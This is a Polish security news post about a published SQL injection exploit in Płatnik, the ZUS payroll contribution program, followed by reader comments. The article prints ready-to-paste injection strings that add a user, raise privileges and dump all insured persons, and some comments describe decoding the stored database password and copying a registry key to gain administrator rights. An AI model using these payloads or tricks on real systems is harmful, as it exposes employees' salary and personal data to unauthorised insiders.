9:37
11/5/2010

SQL injection w Płatniku

W sieci pojawił się exploit na oficjalny program wykorzystywany głównie przez księgowe do obliczania i przesyłania składek ZUS.

Znalazca błędu ukrywający się pod pseudonimem podatnik386 twierdzi, że aplikacja posiada wiele pól podatnych na SQL injection. Opublikowany exploit dotyczy wersji 8.01.001 Płatnika i był testowany na bazie MSSQL2005 Express.

Płatnik

Pole: Administration/Dziennik-Archiwum dziennika operacji

Dodanie nowego użytkownika:
<'2010-02-28')INSERT INTO dbo.UZYTKOWNIK VALUES('LOGIN', 'TEST', 'TEST', 'password hash', '2010-02-28 15:46:48', null, 'A', null)--

Podniesienie uprawnień użytkownika:
<'2010-02-28')INSERT INTO dbo.UPRAWNIENIA VALUES(id_user, id_platnik)--

Pole: Documents(ZUS ZSWA) / III-VI tab / – okres pracy

Wyświetlenie wszystkich ubezpieczonych (zapytanie nie zwraca uwagi na uprawnienia pytającego):
<05-02-2010) or 1=1--

Znalazca błedu oświadczył, że poinformował ZUS o błędach jednak instytucja zignorowała błędy. Nie wiemy jednak ile czasu pozostawiono ZUS-owi na reakcję. Warto również dodać, że aby wykonać poniższe zapytania trzeba najpierw uzyskać dostęp do oprogramowania Płatnik na komputerze ofiary.

Groźne, niegroźne?

Mimo, że SQL-injection w webaplikacjach jest niewątpliwie błędem bardziej “widowiskowym”, to skutki ataku w obu przypadkach są takie same. Biorąc pod uwagę, że zwykli pracownicy (w tym księgowe) często nie są zaawansowanymi użytkownikami komputera, można przypuszczać, że fizyczny dostęp do komputera księgowej w wielu firmach nie będzie stanowił żadnego problemu.

Administratorzy powinni zadbać o auto-wylogowywanie użytkownika po określonym czasie bezczynności — tego typu działania choć trochę zminimalizują zagrożenia związane z zapominającymi się wylogować pracownikami, którzy np. wyszli do kuchni po kawę i zatracili się w rozmowie z kolegami…

Przeczytaj także:

18 komentarzy

Dodaj komentarz
  1. Hyhy, tak mi się skojarzyło: http://xkcd.com/327/

  2. Z moich doświadczeń wynika że to właśnie pokój księgowości jest jednym z tych z utrudnionym dostępem fizycznym. U mnie w pracy był na przykład w czasie lunchu chyba jako jedyny zamykany na klucz. Księgowa przetwarza wrażliwe dane, które pewnie wielu pracowników chciałoby poznać, więc każda rozsądna firma będzie ich pilnowała :).

  3. Myślę, że dopóki na takich ważnych stanowiskach będą pracować panie księgowe, które przesiadły się z maszyny do pisania na komputer to nic dobrego z tego nie wyjdzie..
    Widzieliście czasami jak one walą w klawiaturę haha

    Co do błędu to myślę, że jest ich mnóstwo, wystarczy szukać. Tak więc ostatnie prace Porkythepig się potwierdzają :)
    https://niebezpiecznik.pl/post/porkythepig-i-roboty/

  4. Przy fizycznym dostępie do komputera, intruz po prostu może skopiować całą bazę płatnika z komputera (nawet jeśli jest na niej hasło, to jego złamania lub odzyskanie nie będzie zazwyczaj problemem) i tyle :).

  5. Raczej w kadrowo-placowych pokojach a tam interesanci są czymś normalnym. Pozostają zabezpieczenia fizyczne pokoju gdzie dane są przetwarzane … Problem wydaje się być jednak poważny, bo do komputera można się dostać zdalnie wykorzystując jakąś podatność systemu operacyjnego. Trzeba pamiętać też , że o ile w większych firmach istnieją jakieś zasady bezpieczeństwa, o tyle w biurach rachunkowych obsługujących płatnikiem, często setki osób bywa różnie. (kiedyś spotkałem się z sytuacją, że syn księgowej z kolegami robią CS-owe party w biurze mamy).

  6. Heheh, a dalej trzeba kombinować emulator FDD żeby zaspokoić to dziadostwo kluczem którego szuka na dyskietce? Ciekawe kiedy ZUS ogłosi kolejny przetarg na 100 000 dyskietek. Tak, nie mylicie się, delikatnie mówiąc “nie lubię ich”.

  7. […] "grube" aplikacje mogą mieć ten sam problem, czego przykładem może być ta informacja: SQL injection w Płatniku. Tylko co z tego? Dla mnie wygodniejszym rozwiązaniem jest odzyskanie hasła do bazy danych i […]

  8. Ciekawe w ilu biurach system operacyjny na komputerze księgowej jest w osobnym VLAN-ie ;)

    Jan Kowalski, z marketingu czuje się niedowartościowany. Uważa, że zarabia za mało. Janek wykorzstuje VLAN Hopping (lub nie) i za pomocą “programów do hackowania” udaje mu się przejąć kontrolę nad Windowsem księgowej. Korzystając z powyższych zapytań, wprowadza nowego użytkownika do bazy Płatnika i sprawdza pensje swoich kolegów (bądź dedukuje ich wysokość na podstawie odprowadzanych składek). Teraz ma już silną podstawę do negocjacji z szefem — wszyscy zarabiają o 2kPLN więcej niż Janek!

  9. Gdyby Janek coś mi takiego zrobił, to:
    1. podwyższyłbym mu pensje
    2. kazałbym zabezpieczyć wszystko działowi IT (któremu za taką wtopę bym potrącił z bonusa na Jankową pensję)
    3. wywaliłbym pana Janka z hukiem za dobieranie się do wrażliwych danych

  10. Przede wszystkim w ataku chodzi o podniesienie swoich uprawnień. Jedna z pań księgowych w biurze rachunkowym może nie mieć dostępu do różnych danych, co przy użyciu wskazanego ataku pozwoli jej wyciągnąć wszelkie dane. Pracownicy w biurach rachunkowych zmieniają się, najczęściej przechodząc do konkurencji. Czy kwestia wyciągnięcia danych, do których ‘teoretycznie’ nie ma dostępu, jest pozbawiona sensu? Jeśli Płatnik posiada “taaakie” dziury, to po co w ogóle ograniczać pracownikom dostępy?

    P.S. Od lipca 2009 obowiązkowo korzysta się z certyfikatów kwalifikowanych umieszczonych na kartach w czytniku. Nie ma dyskietek :).

  11. Trudno mówić o podniesieniu uprawnień, jeśli użytkownik dysponuje hasłem, które pozwala mu się dobrać do bazy z pełnymi uprawnieniami. No, może nie wie, że dysponuje, ale do tego się to sprowadza. Do dopisania nowego użytkownika albo przypisanie użytkownikowi praw do nowego płatnika nie wymaga SQLi, można odpowiednie query puścić bezpośrednio w bazie.

  12. @Paweł: pytanie tylko co dla pani Helenki będzie trudniejsze, copy & paste tego SQLi czy ściąganie jakiegoś programu do łamania haseł, odszukanie go w configach i odpalenie na jakimś komputerze…

  13. @Piotr Konieczny: Hasło do bazy jest w rejestrze na komputerze wspomnianej pani Helenki. Można jest bez problemu odkodować np. tu: http://platnik.fork.pl/ (sprawdziłem też z wersją 8, działa).

    Problem polega na tym, że aplikacja (gruba) łączy się z bazą danych z “pełnymi” prawami. Dopiero “wewnątrz” tej aplikacji jest realizowana kontrola dostępu. To nie ma prawa działać. Taki model może i się sprawdza w przypadku aplikacji webowych, gdzie sama aplikacja działa w środowisku, którego nie kontroluje użytkownik (atakujący). W przypadku “grubego klienta” uruchomionego w środowisku całkowicie kontrolowanym przez atakującego – nie ma szansy.

  14. Ojej, Pan Rysiek z Prokomu coś spartolił? Nie możliwe, tyleśmy wódki razem obalili.

  15. Taka sytuacja. Pracownicy urzędu skarbowego mają dostęp do sytemu poltax w którym zapisywane są wszystkie informacje na temat podatników i płatników z danego obszaru. Co ważne, trzeb zaznaczyć iż taki US też jest podatnikiem ale także i płatnikiem (zatrudnia przecież ludzi m.in do tego by tylko wprowadzali dane z papierków do poltaxu). Skoro jest płatnikiem obowiązany jest więc do składania Pit-11 w którym wylicza roczny przychód swoich pracowników, które, proszę zgadnąć gdzie, są zapisywane. A że często człowiek mieszka w pobliżu miejsca gdzie pracuje tak więc pit-11 sporządzony przez taki US wysyła pit-11 do siebie (nie dosłownie oczywiście). Mając dostęp do systemu poltax jako pracownik US może sobie zobaczyć jakie pit-11 złożył jego chlebodawca na przykład dotyczące zarobków jego kolegów i koleżanek z sąsiedniego biurka lub pokoju.

  16. Paweł dobrze mówi, hasło do administratora jest zapisane w rejestrze. Na szczęście nie czystym tekstem, ale wystarczy przekopiować ten fragment rejestru (HKLM\Software\Asseco Poland SA\Płatnik\8.xx.xxx\Admin) z komputera w którym znamy hasło na komputer ofiary i – o zgrozo – mamy uprawnienia administratora w programie :P. Po psuciu można przywrócić ten fragment rejestru i nie będzie widocznego śladu (może jakiś log, nie wiem).

    No i drugi problem – kontrola jest na poziomie aplikacji. Toto korzysta albo z MS SQL albo z pliku *.mdb MS Access. Wystarczy podłączyć się dowolnym klientem do bazy (hasło jest zapisane w ustawieniach Płatnika) i można sobie zrobić dumpa całej bazy / zmienić co się chce.

  17. Z Płatnikiem nie ma za wiele filozofii, jak pani Helenka może sobie coś zainstalować to użyje koali i po kłopocie z hasłami…

  18. […] A więc klasyczny brak kontroli dostępu do funkcji… Błąd z tego gatunku niedawno mogliśmy oglądać w programie ZUS-u — Płatniku. […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.